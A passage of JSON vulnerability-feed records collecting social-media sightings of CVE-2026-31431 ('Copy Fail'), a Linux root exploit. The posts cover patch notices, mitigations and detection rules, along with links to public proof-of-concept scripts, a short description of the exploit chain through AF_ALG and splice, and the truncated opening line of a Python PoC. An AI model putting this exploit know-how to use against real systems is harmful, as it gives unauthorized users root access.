"CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/linux.activitypub.awakari.com.ap.brid.gy/post/3mknyu5g6kzo2", "content": "Copy Fail (CVE-2026-31431) is a trivially exploitable logic bug in Linux, reachable on all major distros released in the last 9 years. A small, portable python script gets root on all platforms. ht...\n\n#r/sysadmin\n\nOrigin | Interest | Match", "creation_timestamp": "2026-04-29T21:05:18.702703Z"}, {"uuid": "381f58ba-cccf-4e52-8ea9-020e6dfddff1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://t.me/P0x3k_1N73LL1G3NC3/342", "content": "CopyFail-go\n\nCopyFail (CVE-2026-31431) in Go. In case you want to get root from a static binary without Python as a dependency.", "creation_timestamp": "2026-04-30T18:38:25.000000Z"}, {"uuid": "a2ab5bc1-07b9-45ed-bc61-de8ea19e2add", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/o2cloud.bsky.social/post/3mkzyhwb6zh27", "content": "\ud83d\udd17 CVE : CVE-2026-31431, CVE-2026-341431", "creation_timestamp": "2026-05-04T15:30:21.683811Z"}, {"uuid": "83b07711-6482-47aa-8c7c-7b07b2650a12", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/valere.hostux.social.ap.brid.gy/post/3mkrginetjbl2", "content": "https://security-tracker.debian.org/tracker/CVE-2026-31431\n\nPatched kernel for Debian 13 Trixie\n\n#CopyFAil", "creation_timestamp": "2026-05-01T05:47:25.411150Z"}, {"uuid": "0fe4ee51-5305-4026-bf5e-a3ed46a3f361", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/infosec.skyfleet.blue/post/3ml2au4kdt52u", "content": "Re: Precise disclosure contents for copyfail (Re: [oss-security] CVE-2026-31431: CopyFail: linux local privilege scalation)", "creation_timestamp": "2026-05-04T18:00:20.516442Z"}, {"uuid": "65ac8204-7f5a-4ce8-9f5d-4967a1029e87", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/infosec.skyfleet.blue/post/3ml2d44phkd2e", "content": "Re: CVE-2026-31431: CopyFail: linux local privilege scalation", "creation_timestamp": "2026-05-04T18:40:36.395086Z"}, {"uuid": "d581d4e3-958e-4297-b219-55d7b443b8a2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://gist.github.com/tgies/e6db71355e3a930dd72c4e0f25f4dd26", "content": "", "creation_timestamp": "2026-04-29T21:13:56.000000Z"}, {"uuid": "e2b59590-7de6-4b60-84c0-bb89ec1c1291", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/96631", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-31431\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a dev1681\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-08-04 16:41:54\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\ncopyfail poc here\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-08-05T00:00:25.533800Z"}, {"uuid": "0ec1511f-59a0-474d-b1ed-68632be8706f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/what.tf/post/3mko32tio7c2m", "content": "\ud83d\udea8 CVE-2026-31431 (Copy Fail)\nGo patch all your Linux distros ASAP.\n\nTL; DR: Easy and portable Linux privilege escalation, a local user is able to become root with very little prerequisites. All major distros affected.\n\ncopy.fail\nxint.io/blog/copy-fa...\nsecurity-tracker.debian.org/tracker/CVE-...", "creation_timestamp": "2026-04-29T21:44:49.008005Z"}, {"uuid": "f23cfa1d-3744-473a-a897-4824c02e33bb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-31431", "type": "seen", "source": "https://bsky.app/profile/alice-bot-yay.bsky.social/post/3mko3ezrmcs27", "content": "a 732-byte exploit that silently rooted every linux distro since 2017. one logic bug chained through three kernel mechanisms into a 4-byte page-cache write. no race, no offsets \u2014 just a straight line through the architecture. cve-2026-31431", "creation_timestamp": "2026-04-29T21:50:28.451461Z"}, {"uuid": "9af1a511-6597-4b41-8473-25197d3ee093", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/what.tf/post/3mko4f4smak24", "content": "\ud83d\udea8 CVE-2026-31431 (Copy Fail)\nGo patch all your Linux distros ASAP.\n\nTL; DR: Easy and portable Linux privilege escalation, a local user is able to become root with very little prerequisites. All major distros affected.\ncopy.fail\nxint.io/blog/copy-fa...\nsecurity-tracker.debian.org/tracker/CVE-...", "creation_timestamp": "2026-04-29T22:08:37.698363Z"}, {"uuid": "b0321749-00f3-4acb-b229-68fcaebcf822", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/what.tf/post/3mko4f5zcjk24", "content": "\ud83d\udea8 CVE-2026-31431 (Copy Fail)\nGo patch all your Linux distros ASAP.\n\nTL; DR: Easy and portable Linux privilege escalation, a local user is able to become root with very little prerequisites. All major distros affected.\ncopy.fail\nxint.io/blog/copy-fa...\nsecurity-tracker.debian.org/tracker/CVE-...", "creation_timestamp": "2026-04-29T22:08:38.219837Z"}, {"uuid": "83440f92-3052-4187-84f6-66780736a681", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/what.tf/post/3mko4f5zcjl24", "content": "\ud83d\udea8 CVE-2026-31431 (Copy Fail)\nGo patch all your Linux distros ASAP.\n\nTL; DR: Easy and portable Linux privilege escalation, a local user is able to become root with very little prerequisites. All major distros affected.\ncopy.fail\nxint.io/blog/copy-fa...\nsecurity-tracker.debian.org/tracker/CVE-...", "creation_timestamp": "2026-04-29T22:08:38.748811Z"}, {"uuid": "ebd55174-6e19-429a-98ec-0175b3f6096c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/tokifu.jp/post/3mko66w3ifk2t", "content": "Copy Fail aka CVE-2026-31431\u3001\u307e\u3060Omarchy\u3067\u306fKernel\u304c\u964d\u3063\u3066\u3053\u306a\u3044\u307f\u305f\u3044\u3060\u306a\u3002Arch Linux\u5074\u3082\u300c4\u6708\u4e2d\u306eKernel update\u3067\u4fee\u6b63\u3055\u308c\u308b\u4e88\u5b9a\u300d\u3068\u3055\u308c\u3066\u3044\u308b\u304c\u3001\u307e\u3060\u3060\u3063\u305f\u307f\u305f\u3044\u3060\u306a\ud83d\udc40", "creation_timestamp": "2026-04-29T22:40:45.133186Z"}, {"uuid": "f76c4d68-3ebc-4595-940c-5011c14a96ca", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://infosec.exchange/users/obivan/statuses/116490412218240083", "content": "CVE-2026-31431 is a Linux LPE, PoC script roots every distrubution shipped since 2017 https://copy.fail/", "creation_timestamp": "2026-04-29T22:43:51.026882Z"}, {"uuid": "353fc869-1d82-4617-b7c6-74e547a39c8e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/obivan.infosec.exchange.ap.brid.gy/post/3mko6eh6th3k2", "content": "CVE-2026-31431 is a Linux LPE, PoC script roots every distrubution shipped since 2017 https://copy.fail/", "creation_timestamp": "2026-04-29T22:43:53.685330Z"}, {"uuid": "fec06bab-ebfb-424b-b17b-f8dd5f188833", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/badsectorlabs.com/post/3mko7e2uivk2c", "content": "CopyFail (CVE-2026-31431) in Go. In case you want to get root from a static binary without Python as a dependency.\n\ngithub.com/badsectorlab...", "creation_timestamp": "2026-04-29T23:01:32.409502Z"}, {"uuid": "0a714740-d1c8-4ee3-8532-02e788351aea", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/pixelsandpulse.bsky.social/post/3mkoa4rz4pa2s", "content": "The 'Copy Fail' (CVE-2026-31431) Linux root exploit is a deterministic LPE that's been in the kernel for years, but some major distros are downplaying its severity. Learn why this page cache overwrite is a critical threat to your\u2026\n\nhttps://www.tpp.blog/1jvud7s\n\n#opensource #cve202631431 #copyfail", "creation_timestamp": "2026-04-29T23:15:21.638149Z"}, {"uuid": "dd8738d1-2087-42a8-8f3d-24780f9812d3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/securestep9.bsky.social/post/3mkoaiwjpj226", "content": "\u26a0\ufe0f #Linux: Major Linux distributions are impacted by a Privilege Escalation Vulnerability dubbed \"CopyFail\" (CVE-2026-31431) which sat undetected since 2017. \nA 732-byte Python script allows any user on Linux to become root:\n#CopyFail\n#LPE\n\ud83d\udc47\nwww.cyberkendra.com/2026/04/a-73...", "creation_timestamp": "2026-04-29T23:22:09.951889Z"}, {"uuid": "9b17677e-e848-4150-8b70-e5f81547fbac", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/yukotan.bsky.social/post/3mkoaolbcpc2x", "content": "\u5168\u3066\u306e\u30c7\u30a3\u30b9\u30c8\u30ea\u3067\u5f71\u97ff\u304c\u3042\u308b\u30bc\u30ed\u30c7\u30a4\u306e\u8106\u5f31\u6027\u304c\u898b\u3064\u304b\u3063\u305f\u305d\u3046\u3067\u3059\u3002\u7279\u6a29\u6607\u683c\u304c\u53ef\u80fd\u3067\u3059\u3002\n\nCopy Fail \u2014 CVE-2026-31431 \ncopy.fail", "creation_timestamp": "2026-04-29T23:25:22.929541Z"}, {"uuid": "97dd3a18-81b0-4ea8-958d-06d704874b0f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/yukotan.bsky.social/post/3mkoavzl5322x", "content": "\u5404\u30c7\u30a3\u30b9\u30c8\u30ea\u306f\u30d1\u30c3\u30c1\u3092\u6e96\u5099\u4e2d\n\nCVE-2026-31431 | Ubuntu \nubuntu.com/security/CVE...\n\nCVE-2026-31431 - Debian\nsecurity-tracker.debian.org/tracker/CVE-...\n\nCVE-2026-31431 - Red Hat Customer Portal \naccess.redhat.com/security/cve...\n\nCVE-2026-31431 - Amazon Linux\nexplore.alas.aws.amazon.com/CVE-2026-314...", "creation_timestamp": "2026-04-29T23:29:28.568724Z"}, {"uuid": "8e996ec9-950f-489e-8894-1b1c9974ffb8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://gist.github.com/grenkoca/b82281a4706e936072979acf54b608df", "content": "", "creation_timestamp": "2026-04-29T23:47:58.000000Z"}, {"uuid": "b0af9e93-4459-4225-9081-0ad38968f925", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/baldanders.info/post/3mkoc3legu52u", "content": "CVE-2026-31431\nnvd.nist.gov/vuln/detail/CV...\nwww.cve.org/CVERecord?id=CV...\n\n\uff1eAn unprivileged local user can write 4 controlled bytes into the page cache of any readable file on a Linux system, and use that to gain root.\ncopy.fail/", "creation_timestamp": "2026-04-29T23:50:28.497962Z"}, {"uuid": "e5a78f0b-9c46-414b-ac91-375187adc525", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/mstdn.baldanders.info/post/3mkoc3oq3cgg2", "content": "CVE-2026-31431\nhttps://nvd.nist.gov/vuln/detail/CVE-2026-31431\nhttps://www.cve.org/CVERecord?id=CVE-2026-31431\n\n\uff1eAn unprivileged local user can write 4 controlled bytes into the page cache of any readable file on a Linux system, and use that to gain root.\nhttps://copy.fail/", "creation_timestamp": "2026-04-29T23:50:37.055169Z"}, {"uuid": "40158c23-2cab-42ea-8f4a-8d36ec4d33ac", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/linux.activitypub.awakari.com.ap.brid.gy/post/3mkodegfob7j2", "content": "Copy Fail (CVE-2026-31431) is a trivially exploitable logic bug in Linux, reachable on all major distros released in the last 9 years. A small, portable python script gets root on all platforms. ht...\n\n#r/sysadmin\n\nOrigin | Interest | Match", "creation_timestamp": "2026-04-30T00:13:26.689117Z"}, {"uuid": "bae00dc9-2593-40cc-ab6f-065aba4e13ef", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/infosecbriefly.bsky.social/post/3mkoegipxbo2x", "content": "Major Linux distributions are patching a local privilege escalation vulnerability known as Copy Fail (CVE-2026-31431) due to a logic flaw in the kernel.\n", "creation_timestamp": "2026-04-30T00:32:22.453832Z"}, {"uuid": "405df460-e717-4704-b7f6-8a75362d11ca", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/cybersecurity.page/post/3mkoidwytne25", "content": "A critical vulnerability, CVE-2026-31431, has been announced, allowing root access on nearly all major Linux distributions. It presents a significant security risk for systems that users can log onto.", "creation_timestamp": "2026-04-30T01:42:30.850563Z"}, {"uuid": "4fd1a600-e0df-42fc-bb1f-558abed90797", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/hacker-news-jp.bsky.social/post/3mkoihagbr32i", "content": "\u30b3\u30d4\u30fc\u5931\u6557 \u2013 CVE-2026-31431\nCopy Fail \u2013 CVE-2026-31431\n\n\ud83d\udd3a 571\n\ud83d\udcac 57\n\ud83d\udd17 HN Post | Article", "creation_timestamp": "2026-04-30T01:44:21.810420Z"}, {"uuid": "cdb6c623-195f-4024-8e8a-a467b2ab68db", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/hacker-news-jp.bsky.social/post/3mkoihiigtm2l", "content": "\ud83d\udca1 Summary: \n\nCopy Fail\u306f\u30012017\u5e74\u4ee5\u964d\u306e\u307b\u307c\u5168\u3066\u306e\u4e3b\u6d41Linux\u30c7\u30a3\u30b9\u30c8\u30ea\u30d3\u30e5\u30fc\u30b7\u30e7\u30f3\u3067\u5171\u901a\u3057\u3066\u5b58\u5728\u3059\u308b\u3001\u6a29\u9650\u306e\u306a\u3044\u30ed\u30fc\u30ab\u30eb\u30e6\u30fc\u30b6\u30fc\u304c\u30da\u30fc\u30b8\u30ad\u30e3\u30c3\u30b7\u30e5\u30784\u30d0\u30a4\u30c8\u3092\u66f8\u304d\u8fbc\u307f\u3001root\u6a29\u9650\u3092\u53d6\u5f97\u3067\u304d\u308b\u76f4\u7dda\u7684\u306aLPE\uff08CVE-2026-31431\uff09\u3067\u3059\u3002\u5f71\u97ff\u306fAF_ALG\u3092\u7d4c\u7531\u3057\u305f\u6697\u53f7\u51e6\u7406\u7d4c\u8def\u306e\u4e0d\u5177\u5408\u3092\u7a81\u304f\u3082\u306e\u3067\u3001\u30d1\u30c3\u30c1\u9069\u7528\u5f8c\u306f\u518d\u73fe\u6027\u304c\u4f4e\u4e0b\u3057\u307e\u3059\u304c\u3001\u672a\u30d1\u30c3\u30c1\u74b0\u5883\u3067\u306f\u30b3\u30f3\u30c6\u30ca\u9593\u306e\u5883\u754c\u3092\u8d8a\u3048\u308b\u5371\u967a\u6027\u304c\u3042\u308a\u307e\u3059\u3002\u5bfe\u7b56\u306f\u30c7\u30a3\u30b9\u30c8\u30ea\u30d3\u30e5\u30fc\u30b7\u30e7\u30f3\u306e\u30ab\u30fc\u30cd\u30eb\u3092\u30d1\u30c3\u30c1\u6e08\u307f\u30d0\u30fc\u30b8\u30e7\u30f3\u3078\u66f4\u65b0\u3059\u308b\u3053\u3068\u3001\u5fc5\u8981\u306b\u5fdc\u3058\u3066AF_ALG\u306e\u7121\u52b9\u5316\u3068\u30bb\u30ad\u30e5\u30a2\u30e2\u30fc\u30c9\u306e\u9069\u7528\u3067\u3059\u3002", "creation_timestamp": "2026-04-30T01:44:29.681560Z"}, {"uuid": "6c3ff9ed-6fef-40b6-aaf0-60aa7f4ff347", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://infosec.exchange/users/vuldb/statuses/116491233168370853", "content": "Some increased actor activities are shown targeting Linux Kernel (CVE-2026-31431) https://vuldb.com/vuln/358784/cti", "creation_timestamp": "2026-04-30T02:12:35.398337Z"}, {"uuid": "307259fc-f3b7-4f23-b613-784c77ef7535", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/pmloik.bsky.social/post/3mkokzbugzf2x", "content": "Top 3 CVE for last 7 days:\nCVE-2026-31431: 53 interactions\nCVE-2026-3854: 48 interactions\nCVE-2026-42208: 22 interactions\n\n\nTop 3 CVE for yesterday:\nCVE-2026-31431: 53 interactions\nCVE-2026-3854: 31 interactions\nCVE-2026-5545: 17 interactions\n", "creation_timestamp": "2026-04-30T02:30:14.165185Z"}, {"uuid": "71cd5765-9b29-4b11-8473-f18afb9a892f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/geeknewsbot.bsky.social/post/3mkompcpg7w2l", "content": "Copy Fail \u2013 CVE-2026-31431\n\n\ube44\ud2b9\uad8c \ub85c\uceec \uc0ac\uc6a9\uc790 \uac00 authencesn , AF_ALG , splice() \ub97c \uc5f0\uacb0\ud574 \uc77d\uae30 \uac00\ub2a5\ud55c \ud30c\uc77c\uc758 \ud398\uc774\uc9c0 \uce90\uc2dc 4\ubc14\uc774\ud2b8 \uc4f0\uae30 \ub97c \ub9cc\ub4e4\uace0, \uc774\ub97c \ud1b5\ud574 root \uad8c\ud55c\uae4c\uc9c0 \uc62c\ub9b4 \uc218 \uc788\uc74c \ucee4\ub110\ubcc4 \uc624\ud504\uc14b\uc774\ub098 \ub808\uc774\uc2a4 \uc870\uac74 \uc5c6\uc774 732\ubc14\uc774\ud2b8 Pyt...", "creation_timestamp": "2026-04-30T03:00:27.060755Z"}, {"uuid": "ee52cc81-f15a-42ab-be2a-31b4f641a49e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/cyberkendra.com/post/3mkonl22o6k23", "content": "A 732-Byte Python Script Can Get Root on Every Major Linux Distro\nCVE-2026-31431 \"Copy Fail\": a logic bug in the Linux kernel lets any local user get root on Ubuntu, RHEL, Amazon Linux, and SUSE since 2017.\nRead Details- www.cyberkendra.com/2026/04/a-73... \n#linux #ubuntu #copyfail #security", "creation_timestamp": "2026-04-30T03:16:02.215027Z"}, {"uuid": "4fa2a245-3dcc-4d09-8120-ce05269d44b5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-31431", "type": "seen", "source": "https://bsky.app/profile/ArtHarg.mastodon.nl.ap.brid.gy/post/3mkooyorktto2", "content": "RE: https://cloudisland.nz/@sitharus/116490365343384634\n\nThat\u2019s a scary one: https://www.bugcrowd.com/blog/what-we-know-about-copy-fail-cve-2026-31431/", "creation_timestamp": "2026-04-30T03:41:33.420419Z"}, {"uuid": "528ed6fe-a9a4-442c-b603-542324ffbf0f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/appinn.bsky.social/post/3mkop76oj7u2y", "content": "\u53ea\u9700\u898110\u884c\u4ee3\u7801\uff0c\u5c31\u80fd\u83b7\u5f97\u81ea2017\u5e74\u81f3\u4eca\u5927\u591a\u6570 Linux \u53d1\u884c\u7248\u672c\u7684 root \u6743\u9650\u3002\u53f2\u79f0 Copy\u00a0Fail\uff0c\u6f0f\u6d1e\u7f16\u53f7 CVE-2026-31431 \u5148\u770b\u63d0\u6743\u6f14\u793a\u89c6\u9891 \u6f14\u793a\u4ee3\u7801 \u4ee3\u7801\u6765\u81ea\u8fd9\u91cc\uff0c\u8bf7\u4ec5\u5728\u81ea\u5df1\u7684\u673a\u5668\u4e0a\u6d4b\u8bd5\u8be5\u6f0f\u6d1e\uff1a #!/usr/bin/env python3 import os as g,zlib,socket", "creation_timestamp": "2026-04-30T03:45:07.175819Z"}, {"uuid": "b7d4e7cc-8532-4e6c-ac84-a66ec64ab912", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/streetcoder.mastodon.social.ap.brid.gy/post/3mkqdlqtppmj2", "content": "@alanxoc3\n\nWTF CVE-2026-31431 #copyfail sounds bad!\n\nAnd there is already a YT video\n\nhttps://www.youtube.com/watch?v=PFLpDc909yY\n\n#securiy", "creation_timestamp": "2026-04-30T19:25:18.745976Z"}, {"uuid": "9549cf8e-aa3b-47ca-a1b3-689b5ffa223c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/noisytoot.berkeley.edu.pl.ap.brid.gy/post/3mkoqdhkokw62", "content": "Want to make your system immune to copyfail (CVE-2026-31431) but compiled your kernel with CONFIG_CRYPTO_USER_API_AEAD=y so you can\u2019t disable the module and don\u2019t want to reboot? Use BPF-LSM to block AF_ALG sockets from being created!\n\n\n    /* SPDX-License-Identifier: GPL-2.0-or-later OR MIT */ [\u2026]", "creation_timestamp": "2026-04-30T04:05:26.578752Z"}, {"uuid": "761032e2-b912-4550-8e0f-b5aaf8e755be", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-31431", "type": "seen", "source": "https://bsky.app/profile/torrycrass.bsky.social/post/3mkorw3py6s2v", "content": "I haven't been able to test everything (yet), these are some possible detections for #cve-2026-31431 for Wazuh, Auditd and MISP and YARA items.\n\nTesting is needed. Please drop a PR if you have better updates to what's here.\n\ngithub.com/insomnisec/D...\n\n#cyber #linux #lpe #vulnerability #cve", "creation_timestamp": "2026-04-30T04:33:45.707329Z"}, {"uuid": "def1ee7e-dae5-4960-b564-44d740ab19a1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-31431", "type": "seen", "source": "https://bsky.app/profile/potato.software/post/3mkorw6j4zq2c", "content": "I haven't been able to test everything (yet), these are some possible detections for #cve-2026-31431 for Wazuh, Auditd and MISP and YARA items.\n\nTesting is needed. Please drop a PR if you have better updates to what's here.\n\ngithub.com/insomnisec/D...\n\n#potato #linux #lpe #vulnerability #cve", "creation_timestamp": "2026-04-30T04:33:46.420245Z"}, {"uuid": "37d3a11b-2a74-40cb-8ff9-232a97563dfd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/infosec.skyfleet.blue/post/3mkosagsnim24", "content": "Copy Fail: Public PoC and Full Details Disclosed for the 732-Byte Linux Root Exploit (CVE-2026-31431)", "creation_timestamp": "2026-04-30T04:39:31.025179Z"}, {"uuid": "4633af7b-c533-4a68-adc6-2548cbeb259b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/blackhatnews.tokyo/post/3mkosyq3jxw2v", "content": "Linux Kernel 0-Day\u300cCopy Fail\u300d\u304c2017\u5e74\u4ee5\u6765\u3001\u4e3b\u8981\u306a\u30c7\u30a3\u30b9\u30c8\u30ea\u30d3\u30e5\u30fc\u30b7\u30e7\u30f3\u5168\u4f53\u3067\u30eb\u30fc\u30c8\u30a2\u30af\u30bb\u30b9\u3092\u53ef\u80fd\u306b\n\n\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u7814\u7a76\u8005\u306f\u3001Linux \u30ab\u30fc\u30cd\u30eb\u306e\u91cd\u5927\u306a\u30bc\u30ed\u30c7\u30a4\u8106\u5f31\u6027\u300cCopy Fail\u300d\uff08CVE-2026-31431\uff09\u3092\u958b\u793a\u3057\u307e\u3057\u305f\u3002\u3053\u308c\u306f\u7279\u6a29\u306e\u306a\u3044\u30ed\u30fc\u30ab\u30eb\u30e6\u30fc\u30b6\u30fc\u304c\u30eb\u30fc\u30c8\u30a2\u30af\u30bb\u30b9\u3092\u53d6\u5f97\u3059\u308b\u3053\u3068\u3092\u53ef\u80fd\u306b\u3057\u307e\u3059\u3002 \u308f\u305a\u304b732\u30d0\u30a4\u30c8\u306ePython\u30b9\u30af\u30ea\u30d7\u30c8\u3092\u4f7f\u7528\u3057\u3066\u3001\u653b\u6483\u8005\u306f2017\u5e74\u4ee5\u964d\u306b\u30ea\u30ea\u30fc\u30b9\u3055\u308c\u305f\u4e3b\u8981\u306aLin", "creation_timestamp": "2026-04-30T04:53:05.678659Z"}, {"uuid": "32d31a8c-4330-4207-a27a-aa8e9f2dbcfc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": 